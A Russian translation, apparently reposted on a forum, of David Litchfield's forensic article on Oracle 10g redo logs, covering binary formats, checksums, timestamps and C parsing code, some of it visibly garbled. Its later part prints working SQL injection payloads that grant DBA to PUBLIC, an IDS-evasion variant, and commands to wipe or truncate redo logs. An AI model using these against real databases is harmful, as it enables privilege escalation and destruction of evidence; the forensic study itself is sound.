пʼятниця, 6 листопада 2015 р.

«Анатомия Oracle» Дэвида Литчфильда


  1. Это перевод первой статьи из цикла «Анатомия Oracle» Дэвида Литчфильда.
    Исследование проводилось на сервере с установленным на Windows Oracle 10g Release 2.

    СУРБД Oracle была создана с мыслю о гибкости и часть этого возможна благодаря redo-логам (или журналам операций). Целью использования журнала операций является экстренное восстановление БД в некоторых случаях сбоев системы и потери файлов данных. Восстановив файлы данных из ранее сделанных резервных копий, файлы журнала операций (включая архивные файлы журнала) могут повторить все последние транзакции. Таким образом, файлы данных будут полностью восстановлены. Это также имеет ценность для исследователя, ответственного за анализ вторжения в БД. Все действия взломщика могут остаться в логах. "Могут", потому что это зависит от конфигурации БД и нагрузки. Доказательств может и не быть вообще. В этой статье мы рассмотрим redo-логи и научимся находить доказательства взломов и понимать, как действуют взломщики. В этой статье не используется программа Logminer или дамп-файлы на базе ASCII, которые можно сгенерировать командой ALTER SYSTEM DUMP LOGFILE.

    [Обзор работы redo-логов]

    События, которые привели к изменению данных в базе, записуются в буфер БД в память SGA (System Global Area – Глобальная Область Системы). Каждые три секунды или когда делается COMMIT, фоновый процесс LGWR переписывает эти данные с буфера в файлы на диске. Эти файлы (два или больше) известны как Online Redo Log. Когда один файл заполняется - сервер переключается на другой файл группы и т.д. Когда все файлы заполнены, сервер возвращается к первому и начинает перезаписывать предыдущие вводы. Чтоб избежать потери нужной информации, в Oracle есть фоновой процесс ARCn, который архивирует логи. Хотя нужно заметить, что не на всех БД Oracle архивация включена. Сервер с включенной опцией работает в режиме ARCHIVELOG и в режиме NONARCHIVELOG если наоборот. Это существенно, поскольку, когда сервер не архивирует данные, следы атаки можно быстро перезаписать. Очевидно, что количество запросов, которые изменяют статус БД прямо зависит от быстроты изменений. Несомненно, взломщик может использоваться этим и мы увидим как чуть позже.

    Проверка режима сервера:

    1)Проверить значение параметра LOG_ARCHIVE_START в файле параметров запуска сервера

    2) Сделать спец. запрос. True - режим архивации, False - наоборот.

    SQL> SELECT VALUE FROM V$PARAMETER WHERE NAME = ‘log_archive_start’;
    VALUE
    --------
    TRUE

    Исходя из бинарного формата, нет разницы между архивным redo-логом и онлайн файлом redo-логов.

    А почему бы просто не использовать ALTER SYSTEM DUMP LOGFILE???
    Бинарный redo-лог файл можно сдампить в ASCII, который можно будет просмотреть в любом текст.-редакторе используя команду ALTER SYSTEM DUMP LOGFILE. Можем предположить, что анализ можно сделать только когда будет возможность интерпретировать бинарную версию, но это так. Во-первых, исследователь может не иметь доступ к БД сервера Oraclе, который может использовать для дампа лог-файла; он не может использовать компрометированный сервер, поскольку исполнение команды приведет к дампу ASCII версии в файл отслеживания в директории USER_DUMP_DEST, которая зазначена в файле загрузки или с точки зрения V$PARAMETER. Дампинг таким образом перезапишет большие данные на диске в системе и потенциально удалит доказательства атаки. Таким образом, этого стоит избегать. Плюс, дампинг лог-файла не показывает всю информацию, которая есть в файле. Например, после переключения между лог-файлами, когда файл группы заполнен и процесс LGWR переходит к другому файлу, порядковый номер логов изменяется. Только записи, которые используют данную последовательность логов будут сдампены. Таким образом, более старые номера пропускаются.
    Наконец, начиная с Oracle 9.0.1 названия любых DDL команд таких, как CREATE, ALTER, DROP, GRANT 
    и REVOKE, которые были исполнены, можно найти только в бинарном варианте. "DUMP LOGFILE" не покажет их. Это значит, что необходимые доказательства будут пропущены. К тому же, не достаточно просто посмотреть на ASCII дамп redo-лога; исследователь также должен уметь интерпретировать бинарник. Таким образом, он должен исползовать ALTER SYSTEM на своем собственном сервере, чтоб проанализировать файлы и записи. Это и делает утилита Logminer.
    (исследование Пола Врайта - Oracle Database Forensics using LogMiner, Paul Wrigh thttp://www.giac.org/certified_professionals/practicals/gcfa/0159.php)

    [Анализ Redo-лога в двоичном формате]

    Хэдер лога

    Анализируем заголовок онлайн redo-лог файла, который состоит из двоих частей. Первая - тип, размер и количество блоков. Вторая - относится к самой БД. Назовем эти две части - хэдер файла и хэдер redo-лога соответственно.

    Хэдер файла

    Большинство двоичных данных и лог-файлов в Oracle имеют подобный формат. Онлайн redo-лог не исключение. На диаграмме ниже показаны первые 80 байт файла онлайн redo-логов.

    [​IMG]

    Тип файла

    Чтоб различать разные типы файлов в Oracle, второй байт используется как указатель типа файла. Например, в 2 релизе 10g - файлы данных имеют тип 0xA2, файлы управления - тип 0xC2 и мы можем увидеть с дампа hex, что наш файл есть типа 0x22.

    Размер блока

    Каждый файл логов, как и другие файлы в Oracle, разбит на блоки. Размер блока может быть найден в 21 байте файла. DBA может установить размер блока для дата-файлов. Размер блока для файлов redo-лога зависит от ОСи. В Windows, Linux и Solaris - 512 байт - 0x0200, в то время как в HP-UX размер блока - 1024. Хэдер файла занимает целый блок как и хэдер redo-лог файла - т.е. два блоки предназначены для информации о логе redo.

    Количество блоков

    25 байт в хэдере - это количество блоков в файле, не считая блоки, которые использует сам хэдер файла. В логе это число 0x00019000 - или 102400 в десятичной системе. Если прибавить к этому числу 1 (как блок используемый хэдером файла) и потом умножить на размер блока - мы получим целый размер файла:
    (102400 + 1) * 512 = 52429312

    Проверим:

    C:\oracle\product\10.2.0\oradata\orcl>dir REDO01.LOG
    Volume in drive C has no label.
    Volume Serial Number is 0B3A-E891

    Directory of C:\oracle\product\10.2.0\oradata\orcl
    13/03/2007 19:08 52,429,312 REDO01.LOG
    1 File(s) 52,429,312 bytes
    0 Dir(s) 14,513,668,096 bytes free

    Magic

    -это файл-маркер используемый Oracle'ом для быстрой проверки является ли файл на самом деле файлом Oracle.

    Хэдер Блока

    Каждый блок имеет свой 16-байтный хэдер, даже когда запись redo переходит границу блока.
    Это важно, когда информация извлекается в redo-лог как символьная строка, или любые другие данные для потребности, могут быть разделены хэдером.

    [​IMG]


    Здесь мы видим пример блок хэдера (желтый цвет), который разделил символьную строку - в этом случаи команду CREATE USER DDL. Каждый хэдер блока начинается с сигнатуры 0x0122, после которой идет номер блока, и потом порядковый номер и офсет (смещение). Последние три бита информации формируют Relative Block Address или RBA записи redo со смещением на начало записи внутри блока. Таким образом, если офсет 0x38, как в нашем случаи, запись redo начнется с 0x01679A00 + 0x38 = 0x01679A38.В конце концов, у нас есть контрольная сумма. И так нам нужно разобраться - как получается контрольная сумма.

    Контрольная сумма ]

    Для обеспечения целостности данных, каждый блок имеет контрольную сумму. При проверке контр. суммы, по сути каждый блок делится на 64-байтные под-блоки. Первые 16 байтов каждого под-блока XORуются с вторыми 16 байтами, третье с четвертыми. <...> Из этих 16
    байт, первые четыре байта XORуются с другими четырьмя байтами, затем третье, затем четвертые. В итоге получается результат в 4 байта - или DWORD. 16 бит высшего порядке должны совпадать с нижними 16битами если контрол. сумма верна. Следующие две функции показывают как это реализировано на С.
    Code:
    int do_checksum(int block_size, unsigned char *buffer) 
    { 
    unsigned char block1[16]=""; 
    unsigned char block2[16]=""; 
    unsigned char block3[16]=""; 
    unsigned char block4[16]=""; 
    unsigned char out1[16]=""; 
    unsigned char out2[16]=""; 
    unsigned char res[16]=""; 
    unsigned char nul[16]=""; 
    int count = 0; 
    unsigned int r0=0,r1=0,r2=0,r3=0,r4=0; 
     
    } 
     
    
    
    
    while(count < block_size) 
    { 
    memmove(block1,&buffer[count],16); 
    memmove(block2,&buffer[count+16],16); 
    memmove(block3,&buffer[count+32],16); 
    memmove(block4,&buffer[count+48],16); 
    do_16_byte_xor(block1,block2,out1); 
    do_16_byte_xor(block3,block4,out2); 
    do_16_byte_xor(nul,out1,res); 
    memmove(nul,res,16); 
    do_16_byte_xor(nul,out2,res); 
    memmove(nul,res,16); 
    count = count + 64; 
    } 
    memmove(&r1,&res[0],4); 
    memmove(&r2,&res[4],4); 
    memmove(&r3,&res[8],4); 
    memmove(&r4,&res[12],4); 
    r0 = r0 ^ r1; 
    r0 = r0 ^ r2; 
    r0 = r0 ^ r3; 
    r0 = r0 ^ r4; 
    r1 = r0; 
    r0 = r0 >> 16; 
    r0 = r0 ^ r1; 
    r0 = r0 & 0xFFFF; 
    return r0; 
     
    
    int do_16_byte_xor(unsigned char *block1, unsigned char *block2, unsigned char *out) 
    { 
    int c = 0; 
    while (c<16) 
    { 
    out[c] = block1[c] ^ block2[c]; 
    c ++; 
    } 
    return 0; 
    } 
    
    Если 16 бит высшего порядка не равняются 16 битам нижнего значит есть проблема с блоком. Контрол. сумму можно "исправить" используя XOR результата с текущей контрольной суммой.
    Например, припустим, что контрольная сумма в блоке 0x4E50, а результат DWORD после исполнения операций ХОR 0x59B109B1. Это значит 0x59B1 для верхнего ряда 16 бит и 0x09B1 для нижнего. XOR даст всумме 0x5000 (Если бы контр. сумма была правильная - выдал бы 0x0000. Итак, чтоб это исправить, мы просто используем XOR таким образом:

    0x4E50 ^ 0x5000 = 0x1E50

    Если б нам тогда нужно было изменить контр. сумму на эту (0x1E50) - она бы теперь подошла.

    Хэдер redo-лога

    Хэдер redo-лога намного интереснее хэдера файла и вмещает очень много информации: SID БД, версию БД и время, когда начался лог.

    [​IMG]

    На картинке мы видим 4 разных Номера Системного Изменения (System Change Numbers - SCN): Low, Next, Enabled и Thread Closed SCNs. Вместе с каждым есть дата. Перед тем, как разобраться, как исчисляется время в логах, давайте быстренько пройдемся по этих SCN. SNC или номер системного изменения - это как маркер, который использует Oracle для индикации состояния системы. Другими словами, если кто-то изменяет состояние БД, например, используя INSERT после COMMIT, Oracle за всем этим следит, используя SCN. Если состояние нужно восстановить - в будущем можно использовать SNC для индикации "версии" состояния БД, которую вы хотите восстановить.

    [Как записывается время в Redo-логах]

    Каждая запись в логах имеет отметку времени, в секундах, которую исследователь может использовать для понимания последовательности событий. Обратите внимание, что время показывает, когда запись была создана в логе, а не когда произошло изменение в БД, т.е. может быть промежуток между реальным событием и фактической записью на диск. Хотя, операции DDL исполняются сразу и дату в логах можно считать точной. Что касается точности времени записей, назовем момент 1 января 1988 00:00:00 - T-день
    . Во-первых, время хранится как 32-ох битное значение - это перекодированная версия времени, начиная с T-дня. Исчисляется так: возьмите текущий год и отнимите 1988. Умножьте на 12. Возьмите текущий месяц, отнимите и добавьте это к результату. Умножьте на 31 и добавьте текущий день минус один. Умножьте на 24 и добавьте текущий час. Умножьте это на 60 и добавьте текущие минуты, умножьте на 60 и добавьте секунды. Итак, если сейчас 2007-03-15 20:05:10 то метка времени будет:

    2007 - 1988 = 19
    19 * 12 = 228
    228 + 3 - 1 = 230
    230 * 31 = 7130
    7130 + 15 - 1 = 7144
    7144 * 24 = 171456
    171456 + 20 = 171476
    171476 * 60 = 10288560
    10288560 + 5 = 10288565
    10288565 * 60 = 617313900
    617313900 + 10 = 617313910

    Метка времени:
    Timestamp = 617313910 (0x24CB7676)

    Теперь, когда мы знаем, как время исчисляется в логах, мы можем его "декодировать" с помощью этого кода на С
    Code:
    /* Oracle timestamp "decoder" */ 
    #include <stdio.h> 
    int main(int argc, char *argv[]) 
    { 
    unsigned int t = 0; 
    unsigned int seconds = 0; 
    unsigned int minutes = 0; 
    unsigned int hours = 0; 
    unsigned int day = 0; 
    unsigned int month = 0; 
    unsigned int year = 0; 
    if(argc == 1) 
    return printf("%s timestamp\n",argv[0]); 
    t = atoi(argv[1]); 
    seconds = (t % 60); 
    t = t - seconds; 
    t = t / 60; 
    minutes = t % 60; 
    t = t - minutes; 
    t = t / 60; 
    hours = t % 24; 
    t = t - hours; 
    t = t / 24; 
    day = t % 31; 
    t = t - day; 
    t = t / 31; 
    day ++; 
    month = t % 12; 
    t = t - month; 
    month ++; 
    t = t / 12; 
    year = t + 1988; 
    printf("%.2d/%.2d/%.4d %.2d:%.2d:%.2d\n",day,month,year,hours,minutes,seconds); 
    return 0; 
    } 
    
    Бесполезный факт: если установить системное время на день раньше 1/1/1998 то Oracle 10g не будет правильно работать.

    [Содержимое Redo-record]

    Запись изменений (redo record) включает в себя все изменения для данного SCN. Запись имеет хэдер и один, или больше векторов изменений (change vectors). Их может быть один или больше для одного события. Например, если пользователь исполняет INSERT в таблицу с индексом, создается несколько векторов изменений. Будет вектор redo и undo для INSERT и потом insert leaf row для index и commit. Каждый вектор имеют свой код операции для легкой идентификации между собой. Ниже представлена таблица показывает наиболее популярные:

    5.1 Undo Record
    5.4 Commit
    11.2 INSERT on single row
    11.3 DELETE
    11.5 UPDATE single row
    11.11 INSERT multiple rows
    11.19 UPDATE multiple rows
    10.2 INSERT LEAF ROW
    10.4 DELETE LEAF ROW
    13.1 Allocate space [e.g. after CREATE TABLE]
    24.1 DDL

    Исследователь должен изучить каждую запись и отличить обычную от записи атаки.

    [Операции с DML (Data Manipulation Language, язык обработки данных)]

    DML включает операции INSERT, UPDATE и DELETE. Исполнение любой из них приводит к изменению состояния БД и тогда создается запись redo. Если взломщик исполнит любую с этих команд, вы найдете запись об этом в файле лога.

    Расследование записи об INSERT

    Этот hex-дамп показывает, как будет выглядит запись в логе после исполнения INSERT и сommit сразу после него - ну мы припустим, что не знаем об этом. Посмотрим, как мы разберемся.

    [​IMG]

    Сначала мы видим запись - размером 0x01A8 байт и VLD - 0x0D. Это говорит нам, что код операции (opcode) для первого вектора изменения можно найти в 0x44 байте в записи - – 0x0B02 – 11.2 - INSERT. 4 байта перед этим - это отметка времени для записи - 0x24CC67F9 или 03/16/2007 13:15:37. Зная, что мы имеем дело с INSERT, с 0x0B02, можем найти ID объекта для объекта, над которым проводился INSERT - это 22 байта перед кодом операции. В дампе на картинке он выделен серым цветом - 0x0057 – или 87. Исследователь должен узнать номера объектов, типы и хозяинов этих объектов в БД. Таким образом, он заметит что объект 87 это таблица SYS под именем SYSAUTH$. Потом, исследователь может найти количество столбцов, проверяя размер массива 24 байта от кода операции, 2 байта от ID обьекта. В нашем случаи 0x0C – 12. Это указывает на то, что INSERT был произведен в три столбца. Почему это так? Во-первых, каждая запись в массиве занимает 2 байта - значит 6 записей - но одна с 6 - это запись самого размера и ещё две 0x0014 и 0x0031. Последние две - напол-изменены, но могут быть 0x44. В дампе мы видим записи в строке 0x001d2870 и голубых прямоугольниках: 0x0002, 0x0002 и 0x0003. Значит, количество байтов данных INSERTованых в первый столбец - два, во второй - тоже два, и в третий - три. Сразу после массива у нас есть "ор" и "ver". В зависимости от того, имеем ли мы чётное или нечётное число записей в массиве, это будет влиять на размещение "op" и "ver":
    если чётное - сразу после, а если нечётное - через два байта. В примере, мы видим, что и "ор" и "ver" - одиница. "ор" может быть 1 с 1,2 или 17. В зависимости от значения "ор" - фактическое размещение значений, INSERTованых в бд, будет различаться. В случаи 1 - их можно найти на 72 байте от позиции “op”. Если “op” - 2 - на 64 байте. Если 17 - на 120 байте от “op”. В хекс-дампе, показанном выше, мы видим данные красным цветом - 72 байта после “op” . И снова, с "живых" стадий ответа сервера мы знаем что столбцы 1,2 и 3 с таблицы SYS.SYSAUTH$ - числовые и мы понимаем, что ищем цифровые данные. Нужно объяснить, как Oracle хранит числа. Числа 1-99 считаются как "юниты" и хранятся как 2 байта - первый - индикатор (0xC1), а второй байт это сам номер плюс один. Если номер 1 будет закодирован как 0xC102, то второй будет 0xC103 и т.д. Числа между 100 и 9999 хранятся как 2 или 3 байта. Байт-индикатор повышается к 0xC2, чтоб показать увеличение значения. Таким образом, 100 будет 0xC202, но 101 будет 0xC20202. Здесь мы имеем 1 из "100-ней" и 1 с "юнитов". 201 будет 0xC20302, 301 - 0xc20402 и т.д. Если мы увеличиваем число между 10000 и 999999 - наш индикатор увеличится к 0xC3. 10000 будет хранится как 0xC302, 10001 как 0xC2020102. Здесь 1 с "10000", нет соток и 1 с "юнитов". Для каждых дополнительных двоих нулей в конце- номер индикатора увеличивается на 1. Таким образом, для 1000000-99999999, индикатор 0xC4, для 100000000-9999999999 - индикатор 0xC5 и т.д. Возвращаясь к нашему дампу, мы видим, что данные записанные как ,
    0xC105 и 0xC20931. Декодируем эти числа. Получаем 1 для первого, 4 для второго и 848 для третьего [(9-1) * 100 + (49 -1)].

    Реконструируя, что случилось мы увидим что было произведено:

    SQL> INSERT INTO SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,848);

    Таблица SYS.SYSAUTH$ следит за тем, кто был назначен мемберством какого типа и с "живого" анализа, исследователь увидит, что “user” 1 (т.е. с столбца GRANTEE#) - PUBLIC и что DBA - 4. SQL была сделана паблик, другими словами, каждый пользователь - DBA.
     
    Это одобряют 3 пользоветелей.
    1. NeMiNeM

      NeMiNeMElder - Старейшина

      Регистрация:
      22.08.2005
      Сообщения:
      483
      Одобрения:
      305
      Репутация:
      118

      Пример на С, который показывает как сдампить запись INSERT:

      Code:
      int DumpInsert(unsigned char *e) 
      { 
      unsigned int s = 0,cnt = 0, c = 0; 
      unsigned short objectid = 0; 
      unsigned int entry_size = 0; 
      unsigned int timestamp = 0; 
      unsigned int base = 68; 
      unsigned int r = 0, r2 = 0, r3 = 0, r4=0, f=0, n=0; 
      unsigned int gap = 0; 
      unsigned char opcode = 0, subopcode = 0, op = 0; 
      unsigned char cls = 0, afn = 0; 
      unsigned char *p = NULL; 
      unsigned char *entry = NULL; 
      unsigned char *array = NULL; 
      unsigned char *data = NULL; 
      
      memmove(&timestamp,&e[-4],4); 
      gettime(timestamp); 
      entry = (unsigned char *) malloc(32); 
      if(!entry) 
      { 
      printf("malloc error...\n"); 
      return 0; 
      } 
      memset(entry,0,32); 
      // Get current line count 
      r = count % 16; 
       
      
      
      
      memmove(entry,e,r); 
      
      // check if we cross a block boundary 
      while(f < 32) 
      { 
      r3 = r + f; 
      if(r3 % 512 == 0) 
      { 
      n = n + 16; 
      } 
      memmove(&entry[f+r],&e[f+r+n],16); 
      f = f + 16; 
      } 
      
      gc ++; 
      cls = entry[2]; 
      afn = entry[4]; 
      if(cls !=1) 
      { 
      free(entry); 
      entry = 0; 
      return 0; 
      } 
      if(afn !=1 && afn !=3) 
      { 
      free(entry); 
      entry = 0; 
      return 0; 
      } 
      memmove(&objectid,&entry[22],2); 
      memmove(&cnt,&entry[24],2); 
      printf("Object ID: %d [%X]\n",objectid,objectid); 
      printf("cls: %d\n",cls); 
      printf("afn: %d\n",afn); 
      printf("count: %.2X\n",cnt); 
      array = (unsigned char *) malloc(cnt+8+1); 
      if(!array) 
      { 
      printf("malloc error [array]\n"); 
      free(entry); 
      return 0; 
      } 
      memset(array,0,cnt+8+1); 
      memmove(array,&e[24],cnt+8); 
      printf("X: %.2X Y: %.2X\n",array[2], array[4]); 
      
      // Get total size of data 
      r3 = 6; 
      r4 = 0; 
      while(r3 < cnt) 
      { 
      //printf("%.2X %.2X ",array[r3],array[r3+1]); 
      memmove(&r2,&array[r3],2); 
      r4 = r4 + r2 + 1; 
      r3 = r3 + 2; 
      } 
      r4++; 
      r4++; 
      // Make room for data 
      data = (unsigned char *) malloc(r4+1); 
      if(!data) 
      { 
      printf("malloc error [data]\n"); 
      free(entry); 
      free(array); 
      return 0; 
      } 
      memset(data,0,r4+1); 
       
      
      
      
      
      // Get the number of entries 
      r2 = (cnt / 2) % 2; 
      // If the number of entries is odd 
      if(r2) 
      { 
      printf("op: %.2X ver: %.2X\n",array[cnt+2],array[cnt+3]); 
      op = array[cnt+2]; 
      gap = cnt + 24 + 2; 
      if(array[cnt+3] !=1) 
      { 
      // shouldn't get here 
      ReportError(entry); 
      free(entry); 
      free(array); 
      free(data); 
      return 0; 
      } 
      } 
      // if the number of entries is even 
      else  
      { 
      printf("op: %.2X ver: %.2X ***\n",array[cnt+0],array[cnt+1]); 
      op = array[cnt+0]; 
      gap = 24 + cnt; 
      if(array[cnt+1] !=1) 
      { 
      // shouldn't get here 
      ReportError(entry); 
      free(entry); 
      free(array); 
      free(data); 
      return 0; 
      } 
      
      } 
      // op = 2... 64 
      // op = 1... 72 
      // op = 11... 120 
      
      if(op == 1) 
      { 
      memmove(data,&e[gap+72],r4); 
      r3 = 0; 
      while(r3 < r4) 
      { 
      printf("%.2X ",data[r3]); 
      r3 ++; 
      if(r3 % 16 == 0) 
      printf("\n"); 
      } 
      } 
      else if(op == 2) 
      { 
      memmove(data,&e[gap+64],r4); 
      r3 = 0; 
      while(r3 < r4) 
      { 
      printf("%.2X ",data[r3]); 
      r3 ++; 
      if(r3 % 16 == 0) 
      printf("\n"); 
      } 
      } 
      else if(op == 0x11) 
      { 
      memmove(data,&e[gap+120],r4); 
      r3 = 0; 
      while(r3 < r4) 
      { 
      printf("%.2X ",data[r3]); 
      r3 ++; 
       
      
      
      
      
      
      
      } 
      else 
      { 
       
      
      
      
      
      
      } 
       
      
      
      
      if(r3 % 16 == 0) 
      printf("\n"); 
       
      
      
      } 
       
      // shouldn't get here 
      PrintLine(entry); 
      getch(); 
       
      
      
      
      
      
      
      } 
       
      
      printf("\n"); 
      free(entry); 
      free(array); 
      free(data); 
      return 0; 
       
      
      
       
         
      
      
       
      

      После INSERT-redo векторов изменений есть ещё два вектора под именем undo-хэдер и undo. undo имеет user ID, привязанный к INSERT - в нашем случаи - 0x36 или 54 (дец.) - т.е. SCOTT. Заметьте, что обыкновенно, SCOTT не может делать INSERT в таблицуSYS.SYSAUTH$. Чтоб показать, где найти user ID в записи undo, дадим SCOTT'у разрешение на INSERT в таблицу.

      [Исследование DDL в логах Redo]

      Поскольку мы знаем, что текст операторов DDL записывается в online redo-логи, заметим, что этот текст отсутствует после дампинга лога, используя “ALTER SYSTEM DUMP LOGFILE". Всё, что мы увидим в трассировочном файле это запись такого вида:

      REDO RECORD - Thread:1 RBA: 0x000082.0000febf.002c LEN: 0x00f4 VLD: 0x01
      SCN: 0x0000.003a061f SUBSCN: 1 03/13/2007 13:55:41
      CHANGE #1 MEDIA RECOVERY MARKER SCN:0x0000.00000000 SEQ: 0 OP:24.1

      Оп. код. 24.1 указывает на DDL. Чтоб узнать какая DDL была запущена, мы должны найти запись в актуальном бинарном redo-логе. С RBA мы видим, что номер блока 0x0000FEBF (65215). И зная, что размер блока на конкретной платформе - 0x200 (512) байтов - мы находим офсет в файле: 512 * 65215 = 33390080 или в хексах 0x01FD7E00.
      Используя наш любимый хекс-редактор, открываем лог и ищем оффсет.

      [​IMG]


      Видим хэдер блока (0x122) возле оффсета 0x01FD7E00. Мы также можем увидеть текст DDL - в нашем случаи “create user wiggywiggywiggy identified by VALUES ‘2FA1749D698AD874’”, но нам нужно понять бинарный формат. Эта диаграмма поазывает, какие значения относятся к каким битам информации.



      [​IMG]

      Здесь видим, что пользователь SCOTT (105 байт в записи), пока его сессия относится к SYS , успешно исполнил команду DDL “CREATE USER”. Сказать, что сделал он это с помощью например SQL-инъекции или нет, тяжело без доказательств. Это мы рассмотрим позже. Теперь, нам важно, как можно прочесть бинарный формат операторов DDL.

      [​IMG]

      Простой и быстрый способ дампинга операторов DDL с redo-логов это использовать утилиты “strings”, “grep” или “findstr”. Обратите внимание: если текст команды DDL переходит границы блока, он будет обрезанным. Таким образом, если вы ищете “GRANT” и “GRA” есть в конце одного блока, а “NT” в начале следующего блока - поиск не принесет результатов.

      [Исполнение постпрограмм redo-логов после атаки]

      Много атак на Oracle основаны на SQL-инъекциях, но не смотря на направления, действия взломщика это то, что покажется в логах. Посмотрим на некоторые примеры и как они выглядят в redo-логах. Для этого, припустим, что есть процедура под именемGET_OWNER, под управлением SYS, имеет полномочия и исполняется PUBLIC. Вдобавок припустим, что присутствует sql-инъекция.

      Рассмотрим атаку используя sql:

      SQL> CONNECT SCOTT/TIGER
      Connected.
      SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR
      2 AUTHID CURRENT_USER IS
      3 PRAGMA AUTONOMOUS_TRANSACTION;
      4 BEGIN
      5 EXECUTE IMMEDIATE 'INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#)
      VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))';
      6 COMMIT;
      7 RETURN 'OWNED!';
      8 END;
      9 /
      Function created.
      SQL> EXEC SYS.GET_OWNER('FOO''||SCOTT.GET_DBA||''BAR');
      BEGIN SYS.GET_OWNER('FOO''||SCOTT.GET_DBA||''BAR'); END;
      *
      ERROR at line 1:
      ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated
      ORA-06512: at "SCOTT.GET_DBA", line 5
      ORA-06512: at "SYS.GET_OWNER", line 3
      ORA-06512: at line 1

      SQL>


      Не смотря на сообщение об ошибке атака удалась, но что это за атака? Эта sql создает функцию под именем GET_DBA, которая делает PUBLIC - пользователем с ролью DBA, но использует скорее INSERT чем GRANT. Потом проводится инъекция в уязвимую процедуру GET_OWNER. Это та же SQL в записи redo, которую мы рассматривали раньше, исследую записи INSERT. Но есть одно ключевое отличие. В этом случаи user ID - это 0, другими словами, пользователь SYS.

      [​IMG]

      Это особенно важно для исследователя. Только потому, что команда DML была произведена другим пользователем, в нашем случаи SCOTT, запись redo покажет user ID учетной записи хозяина уязвимой процедуры. Это имеет смысл, под видом того, что на самом деле SYS исполнял INSERT, и именно так работает процедура определения полномочий.
      Исследователь должен приделять особенной внимание при создании последовательности событий.

      В случаи DDL это не проблема. Рассмотрим это:

      SQL> CONNECT SCOTT/TIGER
      Connected.
      SQL> SET SERVEROUTPUT ON
      SQL> DECLARE
      2 MY_CURSOR NUMBER;
      3 RESULT NUMBER;
      4 BEGIN
      5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
      6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
      7 begin execute immediate ''grant dba to public' ; commit; end;',0);
      8 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
      9 END;
      10 /
      Cursor value is :2

      PL/SQL procedure successfully completed.

      SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(2))--');

      PL/SQL procedure successfully completed.


      Здесь SCOTT "закутал" GRANT DBA TO PUBLIC в блок анонимного PLSQL, который потом анализируется, используя DBMS_SQL в cursor injection attack [2]. После этого, производится инъекция курсора в уязвимую процедуру.


      [​IMG]

      Заметив, что SCOTT записан как пользователь, исполнивший команду DDL. Таким образом, если взломщик исполняет DDL, мы можем это легко увидеть.

      Давайте немножко изменим атаку - и представим, что взломщик использовал техники обхода IDS (Intrusion Detection System - система обнаружения [сетевых] атак), используя цепочки операторов double pipe и/или comment markers.

      SQL> DECLARE
      2 MY_CURSOR NUMBER;
      3 RESULT NUMBER;
      4 BEGIN
      5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
      6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
      7 begin execute immediate ''gra''||''nt/**/dba/**/to/**/public''; commit; end;',
      0);
      8 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
      9 END;
      10 /
      Cursor value is :8

      PL/SQL procedure successfully completed.


      SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(8))--');
      PL/SQL procedure successfully completed.

      Здесь взломщик разбил слово GRANT с помощью double-pipe и установил comment markers между каждого слова. Как это выглядит в логах?

      [​IMG]

      Пока мы не видим признака double pipe, но мы видим comment markers. Это ещё один ключевой момент о котором должен знать исследователь.

      Атаки на redo-логи

      Если взломщик получает права DBA, например, с помощью инъекции, он может изменить логи. Это можно сделать используя команду ALTER DATABASE CLEAR LOGFILE, которая полностью уничтожает все записи в логах, таким образом удаляя большинство доказательств. Но используя это команду, текст оператора будет добавлен в текущий файл лога. Попытка очистить текущий лог покажет ошибку:

      SQL> ALTER DATABASE CLEAR LOGFILE GROUP 1;
      ALTER DATABASE CLEAR LOGFILE GROUP 1
      *
      ERROR at line 1:
      ORA-01624: log 1 needed for crash recovery of instance orcl (thread 1)
      ORA-00312: online log 1 thread 1:
      'C:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG'

      Даже если взломщик переключит лог-файл используя ALTER SYSTEM SWITCH LOGFILE, всё равно новый лог-файл будет иметь записи о попытке стереть файл.

      [​IMG]


      Это диаграмма показывает, что пользователь SCOTT успешно очистил лог-файл 2.

      Попытка удалить файл используя [bUTL_FILE[/b] не удастся через нарушение процедуры совместного использования.

      SQL> CREATE DIRECTORY RLOG AS 'C:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL';
      Directory created.
      SQL> exec utl_file.fremove('RLOG','REDO01.LOG');
      BEGIN utl_file.fremove('RLOG','REDO01.LOG'); END;
      *
      ERROR at line 1:
      ORA-29291: file remove operation failed
      ORA-06512: at "SYS.UTL_FILE", line 243
      ORA-06512: at "SYS.UTL_FILE", line 1126
      ORA-06512: at line 1

      Хотя её можно "онулить" так же, как и вписать в неё.

      SQL> declare
      2 fd utl_file.file_type;
      3 begin
      4 fd := utl_file.fopen('RLOG', 'redo01.log', 'w');
      5 utl_file.fclose(fd);
      6 end;
      7 /
      PL/SQL procedure successfully completed.

      Теперь проверим размер файла:

      C:\oracle\product\10.2.0\oradata\orcl>dir REDO01.LOG
      Volume in drive C has no label.
      Volume Serial Number is 0B3A-E891

      Directory of C:\oracle\product\10.2.0\oradata\orcl
      16/03/2007 11:22 0 REDO01.LOG
      1 File(s) 0 bytes
      0 Dir(s) 14,516,092,928 bytes free

      Очистку redo-логов любым с этих методов можно увидеть. Хитрый взломщик может вместо этого попытаться вписать или перезаписать правильные записи - неправильными, т.е. подделать логи. Понимая, как генерируется контрольная сумма для данного блока - все действия DDL и DML можно перезаписать, оставляя другую часть лога нетронутой. И это тяжело будет заметить.

      Для систем, которые не работают в режиме архивации, взломщик, который не смог получить права DBA - всё ещё может замести следы - или заменить их на более "благоприятный" вид. Например, взломщик мог использовать множественные INSERT запросы в таблицу, где PUBLIC имеет разрешение на INSERT в, скажем, таблицу SYSTEM.OL$. Когда лог-файл заполняется и они переключаются, предыдущие записи будут перезаписаны.

      Заключение

